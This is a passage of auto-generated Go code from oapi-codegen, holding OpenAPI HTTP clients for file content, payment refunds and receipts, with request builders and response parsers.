(*ClientWithResponses, error) { 283 | client, err := NewClient(server, opts...) 284 | if err != nil { 285 | return nil, err 286 | } 287 | return &ClientWithResponses{client}, nil 288 | } 289 | 290 | // WithBaseURL overrides the baseURL. 291 | func WithBaseURL(baseURL string) ClientOption { 292 | return func(c *Client) error { 293 | newBaseURL, err := url.Parse(baseURL) 294 | if err != nil { 295 | return err 296 | } 297 | c.Server = newBaseURL.String() 298 | return nil 299 | } 300 | } 301 | 302 | // ClientWithResponsesInterface is the interface specification for the client with responses above. 303 | type ClientWithResponsesInterface interface { 304 | // GetFiles request 305 | GetFilesWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetFilesResponse, error) 306 | 307 | // GetFilesFileIdContent request 308 | GetFilesFileIdContentWithResponse(ctx context.Context, fileId string, reqEditors ...RequestEditorFn) (*GetFilesFileIdContentResponse, error) 309 | 310 | // PutFilesFileIdContent request with any body 311 | PutFilesFileIdContentWithBodyWithResponse(ctx context.Context, fileId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PutFilesFileIdContentResponse, error) 312 | 313 | PutFilesFileIdContentWithTextBodyWithResponse(ctx context.Context, fileId string, body PutFilesFileIdContentTextRequestBody, reqEditors ...RequestEditorFn) (*PutFilesFileIdContentResponse, error) 314 | } 315 | 316 | type GetFilesResponse struct { 317 | Body []byte 318 | HTTPResponse *http.Response 319 | JSON200 *struct { 320 | Files []string `json:"files"` 321 | } 322 | } 323 | 324 | // Status returns HTTPResponse.Status 325 | func (r GetFilesResponse) Status() string { 326 | if r.HTTPResponse != nil { 327 | return r.HTTPResponse.Status 328 | } 329 | return http.StatusText(0) 330 | } 331 | 332 | // StatusCode returns HTTPResponse.StatusCode 333 | func (r GetFilesResponse) StatusCode() int { 334 | if r.HTTPResponse != nil { 335 | return r.HTTPResponse.StatusCode 336 | } 337 | return 0 338 | } 339 | 340 | type GetFilesFileIdContentResponse struct { 341 | Body []byte 342 | HTTPResponse *http.Response 343 | } 344 | 345 | // Status returns HTTPResponse.Status 346 | func (r GetFilesFileIdContentResponse) Status() string { 347 | if r.HTTPResponse != nil { 348 | return r.HTTPResponse.Status 349 | } 350 | return http.StatusText(0) 351 | } 352 | 353 | // StatusCode returns HTTPResponse.StatusCode 354 | func (r GetFilesFileIdContentResponse) StatusCode() int { 355 | if r.HTTPResponse != nil { 356 | return r.HTTPResponse.StatusCode 357 | } 358 | return 0 359 | } 360 | 361 | type PutFilesFileIdContentResponse struct { 362 | Body []byte 363 | HTTPResponse *http.Response 364 | } 365 | 366 | // Status returns HTTPResponse.Status 367 | func (r PutFilesFileIdContentResponse) Status() string { 368 | if r.HTTPResponse != nil { 369 | return r.HTTPResponse.Status 370 | } 371 | return http.StatusText(0) 372 | } 373 | 374 | // StatusCode returns HTTPResponse.StatusCode 375 | func (r PutFilesFileIdContentResponse) StatusCode() int { 376 | if r.HTTPResponse != nil { 377 | return r.HTTPResponse.StatusCode 378 | } 379 | return 0 380 | } 381 | 382 | // GetFilesWithResponse request returning *GetFilesResponse 383 | func (c *ClientWithResponses) GetFilesWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetFilesResponse, error) { 384 | rsp, err := c.GetFiles(ctx, reqEditors...) 385 | if err != nil { 386 | return nil, err 387 | } 388 | return ParseGetFilesResponse(rsp) 389 | } 390 | 391 | // GetFilesFileIdContentWithResponse request returning *GetFilesFileIdContentResponse 392 | func (c *ClientWithResponses) GetFilesFileIdContentWithResponse(ctx context.Context, fileId string, reqEditors ...RequestEditorFn) (*GetFilesFileIdContentResponse, error) { 393 | rsp, err := c.GetFilesFileIdContent(ctx, fileId, reqEditors...) 394 | if err != nil { 395 | return nil, err 396 | } 397 | return ParseGetFilesFileIdContentResponse(rsp) 398 | } 399 | 400 | // PutFilesFileIdContentWithBodyWithResponse request with arbitrary body returning *PutFilesFileIdContentResponse 401 | func (c *ClientWithResponses) PutFilesFileIdContentWithBodyWithResponse(ctx context.Context, fileId string, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PutFilesFileIdContentResponse, error) { 402 | rsp, err := c.PutFilesFileIdContentWithBody(ctx, fileId, contentType, body, reqEditors...) 403 | if err != nil { 404 | return nil, err 405 | } 406 | return ParsePutFilesFileIdContentResponse(rsp) 407 | } 408 | 409 | func (c *ClientWithResponses) PutFilesFileIdContentWithTextBodyWithResponse(ctx context.Context, fileId string, body PutFilesFileIdContentTextRequestBody, reqEditors ...RequestEditorFn) (*PutFilesFileIdContentResponse, error) { 410 | rsp, err := c.PutFilesFileIdContentWithTextBody(ctx, fileId, body, reqEditors...) 411 | if err != nil { 412 | return nil, err 413 | } 414 | return ParsePutFilesFileIdContentResponse(rsp) 415 | } 416 | 417 | // ParseGetFilesResponse parses an HTTP response from a GetFilesWithResponse call 418 | func ParseGetFilesResponse(rsp *http.Response) (*GetFilesResponse, error) { 419 | bodyBytes, err := io.ReadAll(rsp.Body) 420 | defer func() { _ = rsp.Body.Close() }() 421 | if err != nil { 422 | return nil, err 423 | } 424 | 425 | response := &GetFilesResponse{ 426 | Body: bodyBytes, 427 | HTTPResponse: rsp, 428 | } 429 | 430 | switch { 431 | case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: 432 | var dest struct { 433 | Files []string `json:"files"` 434 | } 435 | if err := json.Unmarshal(bodyBytes, &dest); err != nil { 436 | return nil, err 437 | } 438 | response.JSON200 = &dest 439 | 440 | } 441 | 442 | return response, nil 443 | } 444 | 445 | // ParseGetFilesFileIdContentResponse parses an HTTP response from a GetFilesFileIdContentWithResponse call 446 | func ParseGetFilesFileIdContentResponse(rsp *http.Response) (*GetFilesFileIdContentResponse, error) { 447 | bodyBytes, err := io.ReadAll(rsp.Body) 448 | defer func() { _ = rsp.Body.Close() }() 449 | if err != nil { 450 | return nil, err 451 | } 452 | 453 | response := &GetFilesFileIdContentResponse{ 454 | Body: bodyBytes, 455 | HTTPResponse: rsp, 456 | } 457 | 458 | return response, nil 459 | } 460 | 461 | // ParsePutFilesFileIdContentResponse parses an HTTP response from a PutFilesFileIdContentWithResponse call 462 | func ParsePutFilesFileIdContentResponse(rsp *http.Response) (*PutFilesFileIdContentResponse, error) { 463 | bodyBytes, err := io.ReadAll(rsp.Body) 464 | defer func() { _ = rsp.Body.Close() }() 465 | if err != nil { 466 | return nil, err 467 | } 468 | 469 | response := &PutFilesFileIdContentResponse{ 470 | Body: bodyBytes, 471 | HTTPResponse: rsp, 472 | } 473 | 474 | return response, nil 475 | } 476 | -------------------------------------------------------------------------------- /common/clients/payments/payments.gen.go: -------------------------------------------------------------------------------- 1 | // Package payments provides primitives to interact with the openapi HTTP API. 2 | // 3 | // Code generated by github.com/deepmap/oapi-codegen version v1.12.4 DO NOT EDIT. 4 | package payments 5 | 6 | import ( 7 | "bytes" 8 | "context" 9 | "encoding/json" 10 | "fmt" 11 | "io" 12 | "net/http" 13 | "net/url" 14 | "strings" 15 | ) 16 | 17 | // PaymentRefundRequest defines model for PaymentRefundRequest. 18 | type PaymentRefundRequest struct { 19 | DeduplicationId *string `json:"deduplication_id,omitempty"` 20 | PaymentReference string `json:"payment_reference"` 21 | Reason string `json:"reason"` 22 | } 23 | 24 | // PutRefundsJSONRequestBody defines body for PutRefunds for application/json ContentType. 25 | type PutRefundsJSONRequestBody = PaymentRefundRequest 26 | 27 | // RequestEditorFn is the function signature for the RequestEditor callback function 28 | type RequestEditorFn func(ctx context.Context, req *http.Request) error 29 | 30 | // Doer performs HTTP requests. 31 | // 32 | // The standard http.Client implements this interface. 33 | type HttpRequestDoer interface { 34 | Do(req *http.Request) (*http.Response, error) 35 | } 36 | 37 | // Client which conforms to the OpenAPI3 specification for this service. 38 | type Client struct { 39 | // The endpoint of the server conforming to this interface, with scheme, 40 | // https://api.deepmap.com for example. This can contain a path relative 41 | // to the server, such as https://api.deepmap.com/dev-test, and all the 42 | // paths in the swagger spec will be appended to the server. 43 | Server string 44 | 45 | // Doer for performing requests, typically a *http.Client with any 46 | // customized settings, such as certificate chains. 47 | Client HttpRequestDoer 48 | 49 | // A list of callbacks for modifying requests which are generated before sending over 50 | // the network. 51 | RequestEditors []RequestEditorFn 52 | } 53 | 54 | // ClientOption allows setting custom parameters during construction 55 | type ClientOption func(*Client) error 56 | 57 | // Creates a new Client, with reasonable defaults 58 | func NewClient(server string, opts ...ClientOption) (*Client, error) { 59 | // create a client with sane default values 60 | client := Client{ 61 | Server: server, 62 | } 63 | // mutate client and add all optional params 64 | for _, o := range opts { 65 | if err := o(&client); err != nil { 66 | return nil, err 67 | } 68 | } 69 | // ensure the server URL always has a trailing slash 70 | if !strings.HasSuffix(client.Server, "/") { 71 | client.Server += "/" 72 | } 73 | // create httpClient, if not already present 74 | if client.Client == nil { 75 | client.Client = &http.Client{} 76 | } 77 | return &client, nil 78 | } 79 | 80 | // WithHTTPClient allows overriding the default Doer, which is 81 | // automatically created using http.Client. This is useful for tests. 82 | func WithHTTPClient(doer HttpRequestDoer) ClientOption { 83 | return func(c *Client) error { 84 | c.Client = doer 85 | return nil 86 | } 87 | } 88 | 89 | // WithRequestEditorFn allows setting up a callback function, which will be 90 | // called right before sending the request. This can be used to mutate the request. 91 | func WithRequestEditorFn(fn RequestEditorFn) ClientOption { 92 | return func(c *Client) error { 93 | c.RequestEditors = append(c.RequestEditors, fn) 94 | return nil 95 | } 96 | } 97 | 98 | // The interface specification for the client above. 99 | type ClientInterface interface { 100 | // GetRefunds request 101 | GetRefunds(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) 102 | 103 | // PutRefunds request with any body 104 | PutRefundsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) 105 | 106 | PutRefunds(ctx context.Context, body PutRefundsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) 107 | } 108 | 109 | func (c *Client) GetRefunds(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) { 110 | req, err := NewGetRefundsRequest(c.Server) 111 | if err != nil { 112 | return nil, err 113 | } 114 | req = req.WithContext(ctx) 115 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 116 | return nil, err 117 | } 118 | return c.Client.Do(req) 119 | } 120 | 121 | func (c *Client) PutRefundsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { 122 | req, err := NewPutRefundsRequestWithBody(c.Server, contentType, body) 123 | if err != nil { 124 | return nil, err 125 | } 126 | req = req.WithContext(ctx) 127 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 128 | return nil, err 129 | } 130 | return c.Client.Do(req) 131 | } 132 | 133 | func (c *Client) PutRefunds(ctx context.Context, body PutRefundsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { 134 | req, err := NewPutRefundsRequest(c.Server, body) 135 | if err != nil { 136 | return nil, err 137 | } 138 | req = req.WithContext(ctx) 139 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 140 | return nil, err 141 | } 142 | return c.Client.Do(req) 143 | } 144 | 145 | // NewGetRefundsRequest generates requests for GetRefunds 146 | func NewGetRefundsRequest(server string) (*http.Request, error) { 147 | var err error 148 | 149 | serverURL, err := url.Parse(server) 150 | if err != nil { 151 | return nil, err 152 | } 153 | 154 | operationPath := fmt.Sprintf("/refunds") 155 | if operationPath[0] == '/' { 156 | operationPath = "." + operationPath 157 | } 158 | 159 | queryURL, err := serverURL.Parse(operationPath) 160 | if err != nil { 161 | return nil, err 162 | } 163 | 164 | req, err := http.NewRequest("GET", queryURL.String(), nil) 165 | if err != nil { 166 | return nil, err 167 | } 168 | 169 | return req, nil 170 | } 171 | 172 | // NewPutRefundsRequest calls the generic PutRefunds builder with application/json body 173 | func NewPutRefundsRequest(server string, body PutRefundsJSONRequestBody) (*http.Request, error) { 174 | var bodyReader io.Reader 175 | buf, err := json.Marshal(body) 176 | if err != nil { 177 | return nil, err 178 | } 179 | bodyReader = bytes.NewReader(buf) 180 | return NewPutRefundsRequestWithBody(server, "application/json", bodyReader) 181 | } 182 | 183 | // NewPutRefundsRequestWithBody generates requests for PutRefunds with any type of body 184 | func NewPutRefundsRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { 185 | var err error 186 | 187 | serverURL, err := url.Parse(server) 188 | if err != nil { 189 | return nil, err 190 | } 191 | 192 | operationPath := fmt.Sprintf("/refunds") 193 | if operationPath[0] == '/' { 194 | operationPath = "." + operationPath 195 | } 196 | 197 | queryURL, err := serverURL.Parse(operationPath) 198 | if err != nil { 199 | return nil, err 200 | } 201 | 202 | req, err := http.NewRequest("PUT", queryURL.String(), body) 203 | if err != nil { 204 | return nil, err 205 | } 206 | 207 | req.Header.Add("Content-Type", contentType) 208 | 209 | return req, nil 210 | } 211 | 212 | func (c *Client) applyEditors(ctx context.Context, req *http.Request, additionalEditors []RequestEditorFn) error { 213 | for _, r := range c.RequestEditors { 214 | if err := r(ctx, req); err != nil { 215 | return err 216 | } 217 | } 218 | for _, r := range additionalEditors { 219 | if err := r(ctx, req); err != nil { 220 | return err 221 | } 222 | } 223 | return nil 224 | } 225 | 226 | // ClientWithResponses builds on ClientInterface to offer response payloads 227 | type ClientWithResponses struct { 228 | ClientInterface 229 | } 230 | 231 | // NewClientWithResponses creates a new ClientWithResponses, which wraps 232 | // Client with return type handling 233 | func NewClientWithResponses(server string, opts ...ClientOption) (*ClientWithResponses, error) { 234 | client, err := NewClient(server, opts...) 235 | if err != nil { 236 | return nil, err 237 | } 238 | return &ClientWithResponses{client}, nil 239 | } 240 | 241 | // WithBaseURL overrides the baseURL. 242 | func WithBaseURL(baseURL string) ClientOption { 243 | return func(c *Client) error { 244 | newBaseURL, err := url.Parse(baseURL) 245 | if err != nil { 246 | return err 247 | } 248 | c.Server = newBaseURL.String() 249 | return nil 250 | } 251 | } 252 | 253 | // ClientWithResponsesInterface is the interface specification for the client with responses above. 254 | type ClientWithResponsesInterface interface { 255 | // GetRefunds request 256 | GetRefundsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetRefundsResponse, error) 257 | 258 | // PutRefunds request with any body 259 | PutRefundsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PutRefundsResponse, error) 260 | 261 | PutRefundsWithResponse(ctx context.Context, body PutRefundsJSONRequestBody, reqEditors ...RequestEditorFn) (*PutRefundsResponse, error) 262 | } 263 | 264 | type GetRefundsResponse struct { 265 | Body []byte 266 | HTTPResponse *http.Response 267 | JSON200 *[]PaymentRefundRequest 268 | } 269 | 270 | // Status returns HTTPResponse.Status 271 | func (r GetRefundsResponse) Status() string { 272 | if r.HTTPResponse != nil { 273 | return r.HTTPResponse.Status 274 | } 275 | return http.StatusText(0) 276 | } 277 | 278 | // StatusCode returns HTTPResponse.StatusCode 279 | func (r GetRefundsResponse) StatusCode() int { 280 | if r.HTTPResponse != nil { 281 | return r.HTTPResponse.StatusCode 282 | } 283 | return 0 284 | } 285 | 286 | type PutRefundsResponse struct { 287 | Body []byte 288 | HTTPResponse *http.Response 289 | } 290 | 291 | // Status returns HTTPResponse.Status 292 | func (r PutRefundsResponse) Status() string { 293 | if r.HTTPResponse != nil { 294 | return r.HTTPResponse.Status 295 | } 296 | return http.StatusText(0) 297 | } 298 | 299 | // StatusCode returns HTTPResponse.StatusCode 300 | func (r PutRefundsResponse) StatusCode() int { 301 | if r.HTTPResponse != nil { 302 | return r.HTTPResponse.StatusCode 303 | } 304 | return 0 305 | } 306 | 307 | // GetRefundsWithResponse request returning *GetRefundsResponse 308 | func (c *ClientWithResponses) GetRefundsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetRefundsResponse, error) { 309 | rsp, err := c.GetRefunds(ctx, reqEditors...) 310 | if err != nil { 311 | return nil, err 312 | } 313 | return ParseGetRefundsResponse(rsp) 314 | } 315 | 316 | // PutRefundsWithBodyWithResponse request with arbitrary body returning *PutRefundsResponse 317 | func (c *ClientWithResponses) PutRefundsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PutRefundsResponse, error) { 318 | rsp, err := c.PutRefundsWithBody(ctx, contentType, body, reqEditors...) 319 | if err != nil { 320 | return nil, err 321 | } 322 | return ParsePutRefundsResponse(rsp) 323 | } 324 | 325 | func (c *ClientWithResponses) PutRefundsWithResponse(ctx context.Context, body PutRefundsJSONRequestBody, reqEditors ...RequestEditorFn) (*PutRefundsResponse, error) { 326 | rsp, err := c.PutRefunds(ctx, body, reqEditors...) 327 | if err != nil { 328 | return nil, err 329 | } 330 | return ParsePutRefundsResponse(rsp) 331 | } 332 | 333 | // ParseGetRefundsResponse parses an HTTP response from a GetRefundsWithResponse call 334 | func ParseGetRefundsResponse(rsp *http.Response) (*GetRefundsResponse, error) { 335 | bodyBytes, err := io.ReadAll(rsp.Body) 336 | defer func() { _ = rsp.Body.Close() }() 337 | if err != nil { 338 | return nil, err 339 | } 340 | 341 | response := &GetRefundsResponse{ 342 | Body: bodyBytes, 343 | HTTPResponse: rsp, 344 | } 345 | 346 | switch { 347 | case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: 348 | var dest []PaymentRefundRequest 349 | if err := json.Unmarshal(bodyBytes, &dest); err != nil { 350 | return nil, err 351 | } 352 | response.JSON200 = &dest 353 | 354 | } 355 | 356 | return response, nil 357 | } 358 | 359 | // ParsePutRefundsResponse parses an HTTP response from a PutRefundsWithResponse call 360 | func ParsePutRefundsResponse(rsp *http.Response) (*PutRefundsResponse, error) { 361 | bodyBytes, err := io.ReadAll(rsp.Body) 362 | defer func() { _ = rsp.Body.Close() }() 363 | if err != nil { 364 | return nil, err 365 | } 366 | 367 | response := &PutRefundsResponse{ 368 | Body: bodyBytes, 369 | HTTPResponse: rsp, 370 | } 371 | 372 | return response, nil 373 | } 374 | -------------------------------------------------------------------------------- /common/clients/receipts/receipts.gen.go: -------------------------------------------------------------------------------- 1 | // Package receipts provides primitives to interact with the openapi HTTP API. 2 | // 3 | // Code generated by github.com/deepmap/oapi-codegen version v1.12.4 DO NOT EDIT. 4 | package receipts 5 | 6 | import ( 7 | "bytes" 8 | "context" 9 | "encoding/json" 10 | "fmt" 11 | "io" 12 | "net/http" 13 | "net/url" 14 | "strings" 15 | "time" 16 | ) 17 | 18 | // CreateReceipt defines model for CreateReceipt. 19 | type CreateReceipt struct { 20 | IdempotencyKey *string `json:"idempotency_key,omitempty"` 21 | Price Money `json:"price"` 22 | TicketId string `json:"ticket_id"` 23 | } 24 | 25 | // ErrorResponse defines model for ErrorResponse. 26 | type ErrorResponse struct { 27 | Error string `json:"error"` 28 | } 29 | 30 | // Money defines model for Money. 31 | type Money struct { 32 | MoneyAmount string `json:"money_amount"` 33 | MoneyCurrency string `json:"money_currency"` 34 | } 35 | 36 | // Receipt defines model for Receipt. 37 | type Receipt struct { 38 | IdempotencyKey *string `json:"idempotency_key,omitempty"` 39 | IssuedAt time.Time `json:"issued_at"` 40 | Number string `json:"number"` 41 | Price Money `json:"price"` 42 | TicketId string `json:"ticket_id"` 43 | VoidReason *string `json:"void_reason,omitempty"` 44 | Voided *bool `json:"voided,omitempty"` 45 | } 46 | 47 | // VoidReceiptRequest defines model for VoidReceiptRequest. 48 | type VoidReceiptRequest struct { 49 | IdempotentId *string `json:"idempotent_id,omitempty"` 50 | Reason string `json:"reason"` 51 | TicketId string `json:"ticket_id"` 52 | } 53 | 54 | // PutReceiptsJSONRequestBody defines body for PutReceipts for application/json ContentType. 55 | type PutReceiptsJSONRequestBody = CreateReceipt 56 | 57 | // PutVoidReceiptJSONRequestBody defines body for PutVoidReceipt for application/json ContentType. 58 | type PutVoidReceiptJSONRequestBody = VoidReceiptRequest 59 | 60 | // RequestEditorFn is the function signature for the RequestEditor callback function 61 | type RequestEditorFn func(ctx context.Context, req *http.Request) error 62 | 63 | // Doer performs HTTP requests. 64 | // 65 | // The standard http.Client implements this interface. 66 | type HttpRequestDoer interface { 67 | Do(req *http.Request) (*http.Response, error) 68 | } 69 | 70 | // Client which conforms to the OpenAPI3 specification for this service. 71 | type Client struct { 72 | // The endpoint of the server conforming to this interface, with scheme, 73 | // https://api.deepmap.com for example. This can contain a path relative 74 | // to the server, such as https://api.deepmap.com/dev-test, and all the 75 | // paths in the swagger spec will be appended to the server. 76 | Server string 77 | 78 | // Doer for performing requests, typically a *http.Client with any 79 | // customized settings, such as certificate chains. 80 | Client HttpRequestDoer 81 | 82 | // A list of callbacks for modifying requests which are generated before sending over 83 | // the network. 84 | RequestEditors []RequestEditorFn 85 | } 86 | 87 | // ClientOption allows setting custom parameters during construction 88 | type ClientOption func(*Client) error 89 | 90 | // Creates a new Client, with reasonable defaults 91 | func NewClient(server string, opts ...ClientOption) (*Client, error) { 92 | // create a client with sane default values 93 | client := Client{ 94 | Server: server, 95 | } 96 | // mutate client and add all optional params 97 | for _, o := range opts { 98 | if err := o(&client); err != nil { 99 | return nil, err 100 | } 101 | } 102 | // ensure the server URL always has a trailing slash 103 | if !strings.HasSuffix(client.Server, "/") { 104 | client.Server += "/" 105 | } 106 | // create httpClient, if not already present 107 | if client.Client == nil { 108 | client.Client = &http.Client{} 109 | } 110 | return &client, nil 111 | } 112 | 113 | // WithHTTPClient allows overriding the default Doer, which is 114 | // automatically created using http.Client. This is useful for tests. 115 | func WithHTTPClient(doer HttpRequestDoer) ClientOption { 116 | return func(c *Client) error { 117 | c.Client = doer 118 | return nil 119 | } 120 | } 121 | 122 | // WithRequestEditorFn allows setting up a callback function, which will be 123 | // called right before sending the request. This can be used to mutate the request. 124 | func WithRequestEditorFn(fn RequestEditorFn) ClientOption { 125 | return func(c *Client) error { 126 | c.RequestEditors = append(c.RequestEditors, fn) 127 | return nil 128 | } 129 | } 130 | 131 | // The interface specification for the client above. 132 | type ClientInterface interface { 133 | // GetReceipts request 134 | GetReceipts(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) 135 | 136 | // PutReceipts request with any body 137 | PutReceiptsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) 138 | 139 | PutReceipts(ctx context.Context, body PutReceiptsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) 140 | 141 | // PutVoidReceipt request with any body 142 | PutVoidReceiptWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) 143 | 144 | PutVoidReceipt(ctx context.Context, body PutVoidReceiptJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) 145 | } 146 | 147 | func (c *Client) GetReceipts(ctx context.Context, reqEditors ...RequestEditorFn) (*http.Response, error) { 148 | req, err := NewGetReceiptsRequest(c.Server) 149 | if err != nil { 150 | return nil, err 151 | } 152 | req = req.WithContext(ctx) 153 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 154 | return nil, err 155 | } 156 | return c.Client.Do(req) 157 | } 158 | 159 | func (c *Client) PutReceiptsWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { 160 | req, err := NewPutReceiptsRequestWithBody(c.Server, contentType, body) 161 | if err != nil { 162 | return nil, err 163 | } 164 | req = req.WithContext(ctx) 165 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 166 | return nil, err 167 | } 168 | return c.Client.Do(req) 169 | } 170 | 171 | func (c *Client) PutReceipts(ctx context.Context, body PutReceiptsJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { 172 | req, err := NewPutReceiptsRequest(c.Server, body) 173 | if err != nil { 174 | return nil, err 175 | } 176 | req = req.WithContext(ctx) 177 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 178 | return nil, err 179 | } 180 | return c.Client.Do(req) 181 | } 182 | 183 | func (c *Client) PutVoidReceiptWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { 184 | req, err := NewPutVoidReceiptRequestWithBody(c.Server, contentType, body) 185 | if err != nil { 186 | return nil, err 187 | } 188 | req = req.WithContext(ctx) 189 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 190 | return nil, err 191 | } 192 | return c.Client.Do(req) 193 | } 194 | 195 | func (c *Client) PutVoidReceipt(ctx context.Context, body PutVoidReceiptJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { 196 | req, err := NewPutVoidReceiptRequest(c.Server, body) 197 | if err != nil { 198 | return nil, err 199 | } 200 | req = req.WithContext(ctx) 201 | if err := c.applyEditors(ctx, req, reqEditors); err != nil { 202 | return nil, err 203 | } 204 | return c.Client.Do(req) 205 | } 206 | 207 | // NewGetReceiptsRequest generates requests for GetReceipts 208 | func NewGetReceiptsRequest(server string) (*http.Request, error) { 209 | var err error 210 | 211 | serverURL, err := url.Parse(server) 212 | if err != nil { 213 | return nil, err 214 | } 215 | 216 | operationPath := fmt.Sprintf("/receipts") 217 | if operationPath[0] == '/' { 218 | operationPath = "." + operationPath 219 | } 220 | 221 | queryURL, err := serverURL.Parse(operationPath) 222 | if err != nil { 223 | return nil, err 224 | } 225 | 226 | req, err := http.NewRequest("GET", queryURL.String(), nil) 227 | if err != nil { 228 | return nil, err 229 | } 230 | 231 | return req, nil 232 | } 233 | 234 | // NewPutReceiptsRequest calls the generic PutReceipts builder with application/json body 235 | func NewPutReceiptsRequest(server string, body PutReceiptsJSONRequestBody) (*http.Request, error) { 236 | var bodyReader io.Reader 237 | buf, err := json.Marshal(body) 238 | if err != nil { 239 | return nil, err 240 | } 241 | bodyReader = bytes.NewReader(buf) 242 | return NewPutReceiptsRequestWithBody(server, "application/json", bodyReader) 243 | } 244 | 245 | // NewPutReceiptsRequestWithBody generates requests for PutReceipts with any type of body 246 | func NewPutReceiptsRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { 247 | var err error 248 | 249 | serverURL, err := url.Parse(server) 250 | if err != nil { 251 | return nil, err 252 | } 253 | 254 | operationPath := fmt.Sprintf("/receipts") 255 | if operationPath[0] == '/' { 256 | operationPath = "." + operationPath 257 | } 258 | 259 | queryURL, err := serverURL.Parse(operationPath) 260 | if err != nil { 261 | return nil, err 262 | } 263 | 264 | req, err := http.NewRequest("PUT", queryURL.String(), body) 265 | if err != nil { 266 | return nil, err 267 | } 268 | 269 | req.Header.Add("Content-Type", contentType) 270 | 271 | return req, nil 272 | } 273 | 274 | // NewPutVoidReceiptRequest calls the generic PutVoidReceipt builder with application/json body 275 | func NewPutVoidReceiptRequest(server string, body PutVoidReceiptJSONRequestBody) (*http.Request, error) { 276 | var bodyReader io.Reader 277 | buf, err := json.Marshal(body) 278 | if err != nil { 279 | return nil, err 280 | } 281 | bodyReader = bytes.NewReader(buf) 282 | return NewPutVoidReceiptRequestWithBody(server, "application/json", bodyReader) 283 | } 284 | 285 | // NewPutVoidReceiptRequestWithBody generates requests for PutVoidReceipt with any type of body 286 | func NewPutVoidReceiptRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { 287 | var err error 288 | 289 | serverURL, err := url.Parse(server) 290 | if err != nil { 291 | return nil, err 292 | } 293 | 294 | operationPath := fmt.Sprintf("/void-receipt") 295 | if operationPath[0] == '/' { 296 | operationPath = "." + operationPath 297 | } 298 | 299 | queryURL, err := serverURL.Parse(operationPath) 300 | if err != nil { 301 | return nil, err 302 | } 303 | 304 | req, err := http.NewRequest("PUT", queryURL.String(), body) 305 | if err != nil { 306 | return nil, err 307 | } 308 | 309 | req.Header.Add("Content-Type", contentType) 310 | 311 | return req, nil 312 | } 313 | 314 | func (c *Client) applyEditors(ctx context.Context, req *http.Request, additionalEditors []RequestEditorFn) error { 315 | for _, r := range c.RequestEditors { 316 | if err := r(ctx, req); err != nil { 317 | return err 318 | } 319 | } 320 | for _, r := range additionalEditors { 321 | if err := r(ctx, req); err != nil { 322 | return err 323 | } 324 | } 325 | return nil 326 | } 327 | 328 | // ClientWithResponses builds on ClientInterface to offer response payloads 329 | type ClientWithResponses struct { 330 | ClientInterface 331 | } 332 | 333 | // NewClientWithResponses creates a new ClientWithResponses, which wraps 334 | // Client with return type handling 335 | func NewClientWithResponses(server string, opts ...ClientOption) (*ClientWithResponses, error) { 336 | client, err := NewClient(server, opts...) 337 | if err != nil { 338 | return nil, err 339 | } 340 | return &ClientWithResponses{client}, nil 341 | } 342 | 343 | // WithBaseURL overrides the baseURL. 344 | func WithBaseURL(baseURL string) ClientOption { 345 | return func(c *Client) error { 346 | newBaseURL, err := url.Parse(baseURL) 347 | if err != nil { 348 | return err 349 | } 350 | c.Server = newBaseURL.String() 351 | return nil 352 | } 353 | } 354 | 355 | // ClientWithResponsesInterface is the interface specification for the client with responses above. 356 | type ClientWithResponsesInterface interface { 357 | // GetReceipts request 358 | GetReceiptsWithResponse(ctx context.Context, reqEditors ...RequestEditorFn) (*GetReceiptsResponse, error) 359 | 360 | // PutReceipts request with any body 361 | PutReceiptsWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PutReceiptsResponse, error) 362 | 363 | PutReceiptsWithResponse(ctx context.Context, body PutReceiptsJSONRequestBody, reqEditors ...RequestEditorFn) (*PutReceiptsResponse, error) 364 | 365 | // PutVoidReceipt request with any body 366 | PutVoidReceiptWithBodyWithResponse(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*PutVoidReceiptResponse, error) 367 | 368 | PutVoidReceiptWithResponse(ctx context.Context, body PutVoidReceiptJSONRequestBody, reqEditors ...RequestEditorFn) (*PutVoidReceiptResponse, error) 369 | } 370 | 371 | type GetReceiptsResponse struct { 372 | Body []byte 373 | HTTPResponse *http.Response 374 | JSON200 *[]Receipt 375 | } 376 